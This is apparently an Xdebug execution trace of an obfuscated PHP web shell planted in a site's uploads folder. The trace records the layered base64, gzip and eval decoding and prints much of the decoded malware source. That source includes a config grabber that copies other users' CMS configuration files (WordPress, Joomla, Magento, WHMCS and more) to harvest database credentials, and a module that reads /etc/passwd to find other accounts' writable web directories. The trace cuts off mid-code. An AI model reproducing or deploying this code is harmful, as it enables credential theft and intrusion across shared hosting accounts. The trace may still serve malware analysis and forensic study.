Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-13 01:52:43.493780] 1 0 1 0.000242 393464 1 3 0 0.000909 472184 {main} 1 /var/www/html/uploads/i.php 0 0 1 A /var/www/html/uploads/i.php 2 $auth_pass = 'e01453499759c02ed099e5a19bc7dc21' 1 A /var/www/html/uploads/i.php 3 $stt1 = 'Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUCkuKTHQBAFrAA==' 1 A /var/www/html/uploads/i.php 4 $stt0 = '==gU5e50C8v95DbjlaAGL3ZPve9kXOrOmVQrvXuJtuWgKqKT4ILEmOkDl1i5LJagKFsQBhXpOJJl0aRQfM5nZsMVGVQq7N5tCRdrGYw6OYUlhvjEosiHL1sBGsarl6pyRFBls5C51NpossJL4ts9MY1r3+SOVKN7gEdybQbn6g7YmmR9YLy3xlHZEwUuBQaKQrxQPuAZ99gN678wTCGpbiEz46HDuxYGbFL9NyPe90Sndvd7z3nDK7YDYOs+hAg8G78zqv7N+hH/bWj+4T3ftIcos2MqCjVMEuoLD+b38hoaPx/vnPjNJk98HS+qoQSL8FRaR91gzw03JtMdbmJuMzpW+E3xt2JSM0TQK+1RXFh+r2f4lTPjrkL8dneyZP+5v9+Xnc4zPVP0a4R9hsv5MUPstUQXP/5Xdy1ne87Py4XaivNLJC0/aNqyftnNgnlS3+P1cuRZg+4G8gcbte8gJ01Qh7kCpItSIfdzo0tmThLP1/1vr8qf6GBWcVIjWqPd' 2 4 0 0.001091 472184 base64_decode 0 /var/www/html/uploads/i.php 5 1 'Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUCkuKTHQBAFrAA==' 2 4 1 0.001117 472344 2 4 R 'K-KPSK*K-(J-.HKI,IHJ,N53OIMOI(.)*J-P).)1\004\001k\000' 2 5 0 0.001145 472312 gzinflate 0 /var/www/html/uploads/i.php 5 1 'K-KPSK*K-(J-.HKI,IHJ,N53OIMOI(.)*J-P).)1\004\001k\000' 2 5 1 0.001173 472440 2 5 R 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' 2 6 0 0.001198 472280 htmlspecialchars_decode 0 /var/www/html/uploads/i.php 5 1 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' 2 6 1 0.001220 472312 2 6 R 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' 2 7 0 0.001258 473840 eval 1 'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));' /var/www/html/uploads/i.php 5 0 3 8 0 0.001279 473840 strrev 0 /var/www/html/uploads/i.php(5) : eval()'d code 1 1 '==gU5e50C8v95DbjlaAGL3ZPve9kXOrOmVQrvXuJtuWgKqKT4ILEmOkDl1i5LJagKFsQBhXpOJJl0aRQfM5nZsMVGVQq7N5tCRdrGYw6OYUlhvjEosiHL1sBGsarl6pyRFBls5C51NpossJL4ts9MY1r3+SOVKN7gEdybQbn6g7YmmR9YLy3xlHZEwUuBQaKQrxQPuAZ99gN678wTCGpbiEz46HDuxYGbFL9NyPe90Sndvd7z3nDK7YDYOs+hAg8G78zqv7N+hH/bWj+4T3ftIcos2MqCjVMEuoLD+b38hoaPx/vnPjNJk98HS+qoQSL8FRaR91gzw03JtMdbmJuMzpW+E3xt2JSM0TQK+1RXFh+r2f4lTPjrkL8dneyZP+5v9+Xnc4zPVP0a4R9hsv5MUPstUQXP/5Xdy1ne87Py4XaivNLJC0/aNqyftnNgnlS3+P1cuRZg+4G8gcbte8gJ01Qh7kCpItSIfdzo0tmThLP1/1vr8qf6GBWcVIjWqPd' 3 8 1 0.001425 551696 3 8 R 'AByA4394nL29eVMcyZIv+v/7FDWytjlqm37zKncgbs8dQAghEJIAoeXUMaxW9kVVhSipb3/3l+FbeERGFkj3vjc2fUpAVmZkhIeH+89/7v4//ufd2d3/1Tm9nd923pxsvhibzvZld/d+rTO5vxnOz29vOqfj+ez2fjocP//tfnr1e+cvvPp0urh/Z/BjrfPbsP5b58+O/Tg5vzmf48UGr31YXxzsmc63o8HdbK0zHc/vpzf1V25v5uObOV2zczdbeWs6b/fGX/I1vM/w6nZWP3Wo7gS3MJ3X5cXFNV01G89v7+Z42R+dzQ8He2/fHZ0cHu6dHG8d7Lz8/Ort4dEfnUn/ajbmuxyfnpwcGhzW0rscbB19ONg/OljfP3y5dfBHJ+E73FTbH9dN52B1kn164jjebdk7eOOA1zB4s6V3efl2b+/tx723m+tHO2/3/+jMp/dyExiDwXdak1nltRgvxkN/CmGGDc73Wudv/OWLrTeDLdO52pq8eqhvMju7fTgZ' 3 9 0 0.001540 551664 base64_decode 0 /var/www/html/uploads/i.php(5) : eval()'d code 1 1 'AByA4394nL29eVMcyZIv+v/7FDWytjlqm37zKncgbs8dQAghEJIAoeXUMaxW9kVVhSipb3/3l+FbeERGFkj3vjc2fUpAVmZkhIeH+89/7v4//ufd2d3/1Tm9nd923pxsvhibzvZld/d+rTO5vxnOz29vOqfj+ez2fjocP//tfnr1e+cvvPp0urh/Z/BjrfPbsP5b58+O/Tg5vzmf48UGr31YXxzsmc63o8HdbK0zHc/vpzf1V25v5uObOV2zczdbeWs6b/fGX/I1vM/w6nZWP3Wo7gS3MJ3X5cXFNV01G89v7+Z42R+dzQ8He2/fHZ0cHu6dHG8d7Lz8/Ort4dEfnUn/ajbmuxyfnpwcGhzW0rscbB19ONg/OljfP3y5dfBHJ+E73FTbH9dN52B1kn164jjebdk7eOOA1zB4s6V3efl2b+/tx723m+tHO2/3/+jMp/dyExiDwXdak1nltRgvxkN/CmGGDc73Wudv/OWLrTeDLdO52pq8eqhvMju7fTgZ' 3 9 1 0.001898 629520 3 9 R '\000\034xyS\034ɒ/\02459j~*w n\035@\b!\020\0001VEU(o[xDF\026H76}J@Vfd?9vޜl\030ew~3\031oo:~:\034?~z{/tgc۰[ώ899\006}X_\034ηl3\0357Wno9]s7[yk:o_5vV?u\00405]5\033ox\037\017\a{o\035\034\036\034o\035\037Ij6\034\034\032\034һ\034l\035}8?:X?|uG\';T\037M`u}z8m;x0xwyvoǽG;o̧r\023\030wZY\030/C\na\rZo勭7-ӹښzo2;}8\031no' 3 10 0 0.003005 551664 gzinflate 0 /var/www/html/uploads/i.php(5) : eval()'d code 1 1 '\000\034xyS\034ɒ/\02459j~*w n\035@\b!\020\0001VEU(o[xDF\026H76}J@Vfd?9vޜl\030ew~3\031oo:~:\034?~z{/tgc۰[ώ899\006}X_\034ηl3\0357Wno9]s7[yk:o_5vV?u\00405]5\033ox\037\017\a{o\035\034\036\034o\035\037Ij6\034\034\032\034һ\034l\035}8?:X?|uG\';T\037M`u}z8m;x0xwyvoǽG;o̧r\023\030wZY\030/C\na\rZo勭7-ӹښzo2;}8\031no' 3 10 1 0.004088 613136 3 10 R 'xyS\034ɒ/\02459j~*w n\035@\b!\020\0001VEU(o[xDF\026H76}J@Vfd?9vޜl\030ew~3\031oo:~:\034?~z{/tgc۰[ώ899\006}X_\034ηl3\0357Wno9]s7[yk:o_5vV?u\00405]5\033ox\037\017\a{o\035\034\036\034o\035\037Ij6\034\034\032\034һ\034l\035}8?:X?|uG\';T\037M`u}z8m;x0xwyvoǽG;o̧r\023\030wZY\030/C\na\rZo勭7-ӹښzo2;}8\031noy֫^E9' 3 11 0 0.005222 535280 gzuncompress 0 /var/www/html/uploads/i.php(5) : eval()'d code 1 1 'xyS\034ɒ/\02459j~*w n\035@\b!\020\0001VEU(o[xDF\026H76}J@Vfd?9vޜl\030ew~3\031oo:~:\034?~z{/tgc۰[ώ899\006}X_\034ηl3\0357Wno9]s7[yk:o_5vV?u\00405]5\033ox\037\017\a{o\035\034\036\034o\035\037Ij6\034\034\032\034һ\034l\035}8?:X?|uG\';T\037M`u}z8m;x0xwyvoǽG;o̧r\023\030wZY\030/C\na\rZo勭7-ӹښzo2;}8\031noy֫^E9' 3 11 1 0.006947 752400 3 11 R ' "\\143\\x70\\141\\x6e\\145\\154", "\\x2f\\150\\x6f\\x6d\\145\\x2f{$user_idx}\\57\\x2e\\141\\143\\143\\x65\\x73\\x73\\150\\x61\\163\\150" => "\\x57\\110\\115\\x2d\\141\\x63\\143\\x65\\x73\\x73\\150\\141\\x73\\150", "\\x2f\\x68\\157\\x6d\\x65\\57{$user_idx}\\x2f\\160\\x75\\142\\x6c\\151\\143\\x5f\\x68\\x74\\x6d\\154\\x2f\\x70\\157\\55\\x63\\x6f\\x6e\\164\\145\\x6e\\164\\x2f\\143\\157\\156\\x66\\151\\147\\56\\x70\\x68\\160" => "\\120\\x6f\\x70\\157\\x6a\\x69", "\\57\\150\\x6f\\x6d\\x65\\x2f{$user_idx}\\57\\160\\165\\142\\154\\x69\\143\\x5f\\x68\\x74\\x6d\\x6c\\x2f\\166\\x64\\157\\x5f\\x63\\157\\x6e\\x66\\x69\\x67\\x2e\\x70\\150\\160" => "\\126\\157\\x6f\\x64\\x6f\\x6f", "\\57\\150\\x6f\\x6d\\x65\\x2f{$user_idx}\\x2f\\x70\\x75\\x62\\x6c\\x69\\143\\137\\150\\x74\\155\\x6c\\x2f\\142\\x77\\55\\x63\\157\\x6e\\x66\\151\\x67\\x73\\x2f\\x63\\157\\156\\x66\\x69\\x67\\x2e\\x69\\156\\151" => "\\102\\157\\163\\127\\x65\\142", "\\57\\x68\\157\\155\\x65\\57{$user_idx}\\x2f\\160\\165\\142\\x6c\\151\\x63\\x5f\\150\\x74\\x6d\\154\\x2f\\x63\\x6f\\156\\146\\151\\147\\57\\x6b\\x6f\\x6e\\x65\\x6b\\x73\\x69\\x2e\\x70\\x68\\x70" => "\\x4c\\x6f\\153\\x6f\\155\\x65\\x64\\x69\\x61", "\\x2f\\x68\\x6f\\155\\x65\\57{$user_idx}\\x2f\\160\\165\\x62\\x6c\\x69\\143\\x5f\\x68\\164\\155\\x6c\\57\\x6c\\x6f\\x6b\\157\\x6d\\145\\144\\151\\x61\\57\\x63\\157\\156\\146\\x69\\147\\x2f\\153\\x6f\\x6e\\x65\\x6b\\x73\\x69\\x2e\\160\\x68\\160" => "\\114\\157\\x6b\\x6f\\155\\145\\144\\x69\\141", "\\57\\150\\157\\x6d\\145\\x2f{$user_idx}\\57\\x70\\x75\\142\\154\\x69\\143\\137\\x68\\164\\155\\154\\x2f\\143\\154\\x69\\145\\156\\164\\x61\\162\\x65\\x61\\x2f\\143\\157\\156\\x66\\151\\147\\x75\\x72\\x61\\x74\\x69\\157\\156\\56\\x70\\x68\\160" => "\\x57\\110\\x4d\\103\\123", "\\x2f\\x68\\157\\x6d\\x65\\57{$user_idx}\\57\\x70\\x75\\x62\\154\\x69\\x63\\137\\x68\\164\\155\\x6c\\57\\167\\150\\x6d\\x2f\\143\\157\\x6e\\146\\151\\x67\\x75\\x72\\141\\164\\151\\157\\x6e\\56\\160\\x68\\x70" => "\\x57\\110\\115\\103\\x53", "\\x2f\\150\\157\\x6d\\145\\57{$user_idx}\\x2f\\x70\\x75\\x62\\x6c\\x69\\x63\\x5f\\150\\164\\x6d\\154\\57\\167\\150\\x6d\\143\\163\\57\\x63\\x6f\\156\\x66\\151\\147\\165\\x72\\x61\\164\\x69\\157\\x6e\\x2e\\x70\\150\\160" => "\\x57\\110\\x4d\\x43\\x53", "\\x2f\\150\\157\\x6d\\145\\x2f{$user_idx}\\57\\160\\165\\142\\x6c\\151\\143\\x5f\\x68\\164\\155\\154\\x2f\\x66\\157\\162\\165\\155\\57\\143\\x6f\\156\\x66\\151\\x67\\x2e\\160\\x68\\x70" => "\\160\\x68\\x70\\x42\\102", "\\x2f\\x68\\x6f\\x6d\\145\\x2f{$user_idx}\\x2f\\160\\165\\142\\x6c\\x69\\x63\\x5f\\150\\x74\\155\\x6c\\x2f\\x73\\151\\164\\145\\163\\57\\144\\145\\146\\141\\165\\154\\x74\\x2f\\163\\x65\\x74\\164\\x69\\156\\x67\\x73\\x2e\\160\\x68\\160" => "\\x44\\x72\\165\\160\\x61\\154", "\\57\\150\\157\\155\\x65\\57{$user_idx}\\x2f\\160\\x75\\142\\154\\x69\\143\\x5f\\150\\x74\\155\\x6c\\57\\x63\\157\\x6e\\146\\151\\147\\x2f\\163\\145\\x74\\164\\x69\\156\\147\\x73\\x2e\\x69\\x6e\\x63\\56\\x70\\x68\\160" => "\\x50\\162\\145\\163\\x74\\x61\\123\\x68\\157\\160", "\\x2f\\150\\157\\155\\145\\57{$user_idx}\\x2f\\x70\\x75\\142\\x6c\\x69\\143\\137\\x68\\164\\155\\x6c\\x2f\\141\\160\\160\\x2f\\145\\x74\\x63\\57\\154\\157\\143\\141\\154\\56\\x78\\x6d\\x6c" => "\\x4d\\x61\\147\\145\\156\\164\\x6f", "\\x2f\\150\\x6f\\x6d\\x65\\x2f{$user_idx}\\x2f\\160\\x75\\142\\x6c\\x69\\143\\137\\150\\x74\\x6d\\x6c\\57\\x6a\\157\\157\\x6d\\x6c\\x61\\57\\x63\\x6f\\x6e\\x66\\151\\x67\\x75\\x72\\x61\\x74\\x69\\157\\x6e\\56\\x70\\150\\x70" => "\\112\\x6f\\x6f\\155\\154\\x61", "\\57\\x68\\157\\155\\145\\57{$user_idx}\\x2f\\x70\\165\\x62\\x6c\\151\\x63\\x5f\\150\\x74\\155\\x6c\\x2f\\143\\157\\x6e\\x66\\x69\\x67\\165\\162\\x61\\164\\x69\\157\\x6e\\56\\x70\\x68\\x70" => "\\112\\x6f\\x6f\\x6d\\x6c\\141", "\\x2f\\150\\157\\155\\x65\\x2f{$user_idx}\\57\\x70\\165\\x62\\x6c\\x69\\x63\\137\\x68\\x74\\x6d\\x6c\\57\\x77\\160\\57\\167\\x70\\x2d\\143\\157\\x6e\\146\\151\\147\\56\\x70\\150\\160" => "\\127\\x6f\\x72\\144\\120\\162\\145\\163\\163", "\\57\\x68\\157\\x6d\\145\\x2f{$user_idx}\\x2f\\160\\165\\x62\\154\\151\\x63\\x5f\\x68\\x74\\x6d\\154\\57\\167\\x6f\\x72\\x64\\160\\x72\\x65\\163\\x73\\57\\167\\160\\55\\143\\x6f\\x6e\\146\\151\\x67\\x2e\\x70\\x68\\x70" => "\\x57\\157\\162\\144\\x50\\x72\\145\\163\\x73", "\\57\\x68\\157\\155\\x65\\57{$user_idx}\\57\\x70\\x75\\142\\x6c\\x69\\x63\\x5f\\x68\\164\\x6d\\154\\57\\167\\160\\x2d\\x63\\157\\x6e\\x66\\151\\x67\\x2e\\160\\150\\160" => "\\127\\157\\x72\\x64\\120\\162\\145\\163\\x73", "\\x2f\\150\\x6f\\x6d\\145\\x2f{$user_idx}\\57\\160\\165\\x62\\x6c\\151\\143\\137\\150\\164\\155\\x6c\\57\\x61\\x64\\155\\151\\156\\x2f\\143\\157\\x6e\\x66\\151\\x67\\x2e\\160\\150\\160" => "\\x4f\\x70\\x65\\x6e\\103\\x61\\x72\\164", "\\x2f\\x68\\157\\155\\x65\\57{$user_idx}\\x2f\\x70\\165\\142\\154\\151\\x63\\x5f\\150\\164\\155\\154\\57\\163\\x6c\\x63\\157\\156\\x66\\151\\x67\\x2e\\x70\\x68\\160" => "\\x53\\151\\x74\\x65\\x6c\\x6f\\153", "\\x2f\\x68\\157\\155\\145\\57{$user_idx}\\57\\160\\x75\\x62\\x6c\\x69\\x63\\x5f\\x68\\164\\x6d\\x6c\\57\\x61\\x70\\x70\\x6c\\x69\\x63\\x61\\164\\x69\\x6f\\x6e\\57\\x63\\157\\156\\146\\x69\\147\\x2f\\x64\\141\\x74\\141\\142\\141\\163\\x65\\x2e\\x70\\150\\x70" => "\\x45\\154\\154\\151\\163\\154\\141\\142"); foreach ($grab_config as $config => $nama_config) { $ambil_config = file_get_contents($config); if ($ambil_config == \'\') { } else { $file_config = fopen("\\x69\\x64\\x78\\x5f\\143\\157\\156\\146\\151\\147\\57{$user_idx}\\x2d{$nama_config}\\56\\x74\\170\\164", "\\x77"); fputs($file_config, $ambil_config); } } } } } } goto f2U0X; OVWqM: $idx = mkdir("\\x69\\x64\\x78\\x5f\\x63\\157\\x6e\\x66\\x69\\x67", 0777); goto Mi9tD; Mi9tD: $isi_htc = "\\117\\x70\\164\\151\\x6f\\156\\163\\40\\x61\\x6c\\x6c\\xa\\x52\\145\\x71\\x75\\x69\\162\\145\\40\\x4e\\x6f\\x6e\\145\\xa\\x53\\141\\x74\\151\\163\\x66\\x79\\x20\\101\\156\\x79"; goto Oh9gP; Jh3UN: fwrite($htc, $isi_htc); goto LZo0V; Oh9gP: $htc = fopen("\\151\\x64\\x78\\x5f\\143\\157\\156\\x66\\x69\\147\\x2f\\x2e\\x68\\164\\x61\\143\\143\\145\\x73\\x73", "\\x77"); goto Jh3UN; dbx1L: } elseif ($_GET["\\x64\\x6f"] == "\\152\\x75\\155\\160\\151\\x6e\\147") { goto nXLi2; EMdWC: echo "\\74\\x64\\x69\\166\\40\\143\\x6c\\141\\163\\163\\75\\x27\\155\\x61\\x72\\147\\x69\\156\\72\\40\\65\\160\\x78\\40\\x61\\165\\164\\157\\x3b\\15\\xa\\15\\12\\15\\12\\x27\\76"; goto O9qTm; O9qTm: if (preg_match("\\57\\150\\x73\\x70\\150\\x65\\x72\\145\\57", $dir)) { $urls = explode("\\15\\12", $_POST["\\165\\162\\x6c"]); if (isset($_POST["\\x6a\\x75\\x6d\\x70"])) { goto lhZXK; lhZXK: echo "\\74\\160\\162\\x65\\x3e"; goto dXeOv; NDaMY: echo "\\x3c\\x2f\\160\\162\\145\\76"; goto jHJDN; XoJZt: if ($i == 0) { } else { echo "\\74\\x62\\x72\\76\\124\\157\\164\\141\\x6c\\40\\x61\\144\\x61\\40" . $i . "\\x20\\x4b\\x61\\x6d\\x61\\162\\x20\\144\\x69\\x20" . $ip; } goto NDaMY; dXeOv: foreach ($urls as $url) { goto zkwnD; zkwnD: $url = str_replace(array("\\150\\164\\164\\x70\\72\\x2f\\x2f", "\\167\\x77\\167\\x2e"), \'\', strtolower($url)); goto aeX7m; aeX7m: $etc = "\\x2f\\x65\\164\\x63\\x2f\\160\\141\\163\\163\\x77\\144"; goto Duh11; Duh11: $f = fopen($etc, "\\162"); goto GbwPR; GbwPR: while ($gets = fgets($f)) { $pecah = explode("\\x3a", $gets); $user = $pecah[0]; $dir_user = "\\x2f\\x68\\x73\\x70\\x68\\145\\162\\145\\x2f\\154\\157\\143\\x61\\x6c\\x2f\\150\\157\\x6d\\145\\x2f{$user}"; if (is_dir($dir_user) === true) { $url_user = $dir_user . "\\x2f" . $url; if (is_readable($url_user)) { goto lj0ph; CqySF: if (is_writable($url_user)) { $jrw = "\\133\\x3c\\x66\\157\\x6e\\164\\x20\\x63\\x6f\\154\\x6f\\x72\\x3d\\43\\x31\\70\\x42\\103\\x39\\103\\76\\x52\\127\\74\\57\\146\\x6f\\x6e\\164\\76\\135\\40\\74\\141\\40\\x68\\162\\145\\x66\\x3d\\47\\77\\144\\x69\\162\\75{$url_user}\\x27\\x3e\\x3c\\146\\x6f\\x6e\\164\\x20\\143\\x6f\\x6c\\157\\162\\75\\43\\61\\70\\102\\x43\\x39\\x43\\x3e{$url_user}\\x3c\\57\\146\\x6f\\156\\x74\\x3e\\x3c\\57\\x61\\x3e"; } goto QlWBM; axzLZ: $jrw = "\\133\\74\\x66\\x6f\\156\\x74\\x20\\x63\\x6f\\x6c\\157\\x72\\x3d\\x23\\x31\\70\\x42\\103\\71\\103\\x3e\\122\\74\\x2f\\x66\\157\\x6e\\x74\\x3e\\x5d\\40\\74\\141\\40\\150\\x72\\145\\x66\\x3d\\47\\x3f\\x64\\x69\\162\\75{$url_user}\\x27\\76\\74\\146\\157\\156\\x74\\x20\\143\\157\\154\\x6f\\162\\75\\x23\\61\\x38\\102\\x43\\71\\103\\76{$url_user}\\74\\57\\x66\\157\\156\\164\\x3e\\74\\x2f\\x61\\x3e"; goto CqySF; lj0ph: $i++; goto axzLZ; QlWBM: echo $jrw . "\\74\\x62\\162\\76"; goto QnAq3; QnAq3: } } } goto nj7Kb; nj7Kb: } goto XoJZt; jHJDN: } else { goto XquAF; cOQAI: echo "\\74\\57\\164\\x65\\170\\x74\\x61\\x72\\x65\\x61\\76\\x3c\\142\\x72\\x3e\\xd\\xa\\x9\\x9\\x9\\x9\\x20\\x3c\\151\\156\\160\\x75\\164\\40\\164\\x79\\x70\\x65\\x3d\\42\\x73\\x75\\x62\\155\\x69\\164\\42\\x20\\166\\x61\\154\\165\\145\\x3d\\42\\112\\165\\x6d\\160\\151\\156\\x67\\x22\\40\\x6e\\x61\\x6d\\145\\x3d\\42\\x6a\\165\\x6d\\160\\42\\40\\143\\x6c\\141\\163\\163\\x3d\\x22\\142\\164\\156\\x20\\142\\164\\x6e\\55\\x73\\x75\\143\\x63\\145\\163\\163\\40\\142\\164\\x6e\\x2d\\x73\\155\\42\\x20\\x73\\x74\\x79\\x6c\\145\\75\\x22\\x77\\x69\\x64\\164\\150\\72\\40\\x35\\x30\\x30\\160\\x78\\73\\15\\xa\\15\\xa\\xd\\12\\x20\\150\\145\\151\\147\\x68\\x74\\x3a\\40\\x32\\65\\160\\170\\x3b\\xd\\xa\\15\\xa\\15\\12\\42\\76\\15\\12\\x9\\x9\\11\\x9\\40\\x3c\\x2f\\146\\x6f\\162\\155\\76\\74\\x2f\\x63\\x65\\x6e\\x74\\x65\\162\\76"; goto KEDI2; XquAF: echo "\\x3c\\x63\\x65\\x6e\\x74\\145\\x72\\76\\15\\12\\x9\\11\\x9\\x9\\x20\\74\\146\\x6f\\x72\\x6d\\x20\\x6d\\x65\\164\\x68\\x6f\\144\\x3d\\42\\160\\x6f\\x73\\x74\\x22\\x3e\\xd\\xa\\x9\\11\\11\\11\\x20\\114\\151\\163\\x74\\x20\\104\\x6f\\155\\x61\\151\\156\\x73\\72\\x20\\x3c\\x62\\162\\x3e\\15\\xa\\11\\11\\x9\\11\\40\\x3c\\164\\x65\\170\\164\\x61\\162\\x65\\141\\40\\156\\141\\x6d\\x65\\x3d\\x22\\x75\\x72\\154\\42\\40\\x73\\164\\x79\\x6c\\145\\75\\42\\x77\\x69\\144\\x74\\x68\\x3a\\x20\\x35\\60\\x30\\160\\x78\\x3b\\xd\\12\\15\\xa\\15\\xa\\x20\\150\\145\\x69\\x67\\150\\x74\\x3a\\x20\\62\\65\\x30\\160\\170\\73\\15\\12\\15\\xa\\xd\\xa\\42\\76"; goto QCHCG; RDWwf: while ($getss = fgets($fp)) { echo $getss; } goto cOQAI; QCHCG: $fp = fopen("\\57\\150\\163\\x70\\x68\\x65\\x72\\145\\x2f\\154\\157\\143\\141\\x6c\\x2f\\143\\157\\156\\146\\151\\147\\x2f\\150\\x74\\x74\\x70\\144\\x2f\\x73\\x69\\x74\\x65\\163\\57\\163\\x69\\164\\145\\163\\56\\x74\\x78\\164", "\\162"); goto RDWwf; KEDI2: } } elseif (preg_match("\\x2f\\166\\150\\x6f\\x73\\x74\\x73\\x2f", $dir)) { $urls = explode("\\15\\12", $_POST["\\165\\162\\154"]); if (isset($_POST["\\152\\165\\155\\160"])) { goto k3eLR; k3eLR: echo "\\x3c\\x70\\162\\x65\\76"; goto AZCjz; VjLUx: if ($i == 0) { } else { echo "\\x3c\\x62\\162\\76\\124\\157\\164\\x61\\154\\x20\\141\\144\\141\\x20" . $i . "\\x20\\x4b\\141\\x6d\\x61\\x72\\40\\x64\\x69\\x20" . $ip; } goto O6i2d; O6i2d: echo "\\x3c\\57\\x70\\162\\x65\\x3e"; goto cb9ud; AZCjz: foreach ($urls as $url) { $web_vh = "\\x2f\\166\\x61\\x72\\x2f\\167\\x77\\167\\x2f\\x76\\x68\\157\\x73\\164\\x73\\57{$url}\\x2f\\150\\164\\164\\x70\\x64\\x6f\\143\\x73"; if (is_dir($web_vh) === true) { if (is_readable($web_vh)) { goto oql_I; DixGY: if (is_writable($web_vh)) { $jrw = "\\x5b\\74\\x66\\157\\156\\164\\40\\x63\\x6f\\x6c\\157\\162\\x3d\\x23\\x31\\70\\x42\\103\\71\\103\\76\\122\\x57\\x3c\\57\\146\\x6f\\x6e\\x74\\x3e\\135\\x20\\x3c\\141\\x20\\x68\\x72\\145\\x66\\75\\x27\\x3f\\144\\151\\x72\\x3d{$web_vh}\\x27\\x3e\\74\\x66\\x6f\\156\\x74\\40\\143\\157\\x6c\\157\\x72\\x3d\\43\\x31\\x38\\102\\103\\x39\\103\\x3e{$web_vh}\\74\\57\\x66\\157\\156\\164\\76\\x3c\\x2f\\x61\\x3e"; } goto y7oxj; oql_I: $i++; goto cGRwc; y7oxj: echo $jrw . "\\x3c\\x62\\x72\\76"; goto D1eGi; cGRwc: $jrw = "\\x5b\\74\\x66\\157\\x6e\\x74\\40\\x63\\x6f\\x6c\\157\\x72\\75\\x23\\61\\70\\x42\\x43\\71\\x43\\76\\122\\x3c\\57\\x66\\157\\156\\164\\76\\x5d\\x20\\x3c\\x61\\x20\\x68\\162\\145\\x66\\75\\x27\\77\\x64\\x69\\162\\x3d{$web_vh}\\47\\x3e\\x3c\\x66\\x6f\\156\\x74\\x20\\143\\157\\x6c\\x6f\\162\\75\\x23\\x31\\x38\\102\\103\\71\\103\\x3e{$web_vh}\\74\\x2f\\x66\\157\\156\\x74\\76\\74\\57\\141\\x3e"; goto DixGY; D1eGi: } } } goto VjLUx; cb9ud: } else { goto JmW6C; JmW6C: echo "\\74\\x63\\145\\x6e\\164\\145\\x72\\x3e\\xd\\xa\\x9\\11\\11\\x9\\40\\x3c\\146\\157\\x72\\x6d\\40\\x6d\\145\\x74\\x68\\157\\144\\75\\42\\x70\\x6f\\163\\x74\\42\\76\\15\\12\\11\\x9\\x9\\11\\x20\\114\\x69\\x73\\x74\\x20\\104\\x6f\\x6d\\141\\x69\\156\\163\\x3a\\40\\x3c\\x62\\162\\x3e\\xd\\12\\x9\\11\\x9\\x9\\40\\74\\x74\\145\\170\\x74\\x61\\x72\\145\\x61\\x20\\156\\x61\\x6d\\x65\\75\\x22\\165\\162\\154\\x22\\40\\x73\\x74\\x79\\x6c\\x65\\75\\x22\\167\\151\\144\\164\\150\\x3a\\40\\x35\\x30\\x30\\x70\\170\\73\\xd\\xa\\xd\\12\\xd\\12\\40\\150\\x65\\x69\\x67\\150\\x74\\x3a\\40\\62\\x35\\60\\160\\x78\\73\\15\\xa\\15\\12\\xd\\12\\x22\\76"; goto Lx9Ew; Lx9Ew: bing("\\151\\x70\\x3a{$ip}"); goto VraQ6; VraQ6: echo "\\74\\57\\x74\\145\\170\\164\\x61\\x72\\x65\\141\\76\\74\\x62\\x72\\76\\xd\\xa\\11\\11\\x9\\x9\\x20\\x3c\\x69\\156\\160\\x75\\164\\40\\164\\x79\\160\\x65\\x3d\\x22\\x73\\165\\x62\\155\\151\\164\\42\\40\\x76\\x61\\154\\165\\x65\\75\\42\\112\\x75\\155\\160\\x69\\x6e\\x67\\42\\40\\x6e\\141\\155\\x65\\75\\x22\\152\\165\\x6d\\160\\42\\40\\x73\\164\\171\\x6c\\145\\x3d\\x22\\167\\x69\\144\\x74\\150\\72\\x20\\x35\\x30\\x30\\x70\\x78\\x3b\\15\\xa\\xd\\xa\\15\\12\\x20\\x68\\145\\151\\147\\150\\x74\\x3a\\40\\x32\\x35\\160\\170\\x3b\\xd\\xa\\xd\\12\\15\\xa\\x22\\x3e\\15\\xa\\x9\\x9\\x9\\x9\\x20\\74\\x2f\\146\\157\\x72\\155\\76\\74\\x2f\\x63\\145\\156\\164\\x65\\162\\76"; goto j9Stl; j9Stl: } } else { goto sLlh8; pSbZC: $etc = fopen("\\57\\145\\164\\x63\\57\\x70\\x61\\x73\\x73\\167\\144", "\\162") or die("\\74\\146\\x6f\\x6e\\x74\\40\\143\\x6f\\154\\x6f\\162\\x3d\\162\\x65\\144\\x3e\\x43\\x61\\x6e\\x27\\x74\\x20\\162\\x65\\x61\\x64\\40\\57\\145\\164\\143\\57\\x70\\x61\\x73\\163\\x77\\144\\x3c\\x2f\\x66\\157\\156\\x74\\76"); goto wStit; AWWtt: if ($i == 0) { } else { echo "\\x3c\\x62\\x72\\76\\124\\157\\x74\\x61\\x6c\\x20\\x61\\144\\x61\\x20" . $i . "\\x20\\x4b\\141\\155\\141\\162\\40\\144\\151\\40" . $ip; } goto fNjvQ; wStit: while ($passwd = fgets($etc)) { if ($passwd == \'\' || !$etc) { echo "\\74\\146\\157\\156\\164\\40\\x63\\x6f\\x6c\\x6f\\162\\x3d\\x72\\145\\x64\\x3e\\x43\\x61\\x6e\\47\\164\\x20\\162\\x65\\x61\\144\\x20\\x2f\\x65\\164\\x63\\57\\160\\141\\x73\\163\\x77\\x64\\x3c\\57\\x66\\157\\156\\164\\76"; } else { preg_match_all("\\57\\50\\56\\52\\x3f\\x29\\x3a\\x78\\x3a\\57", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_idx_jump) { $user_jumping_dir = "\\57\\150\\x6f\\x6d\\x65\\x2f{$user_idx_jump}\\57\\160\\x75\\x62\\154\\x69\\x63\\137\\150\\164\\155\\154"; if (is_readable($user_jumping_dir)) { goto BDIDi; SYupx: $jrw = 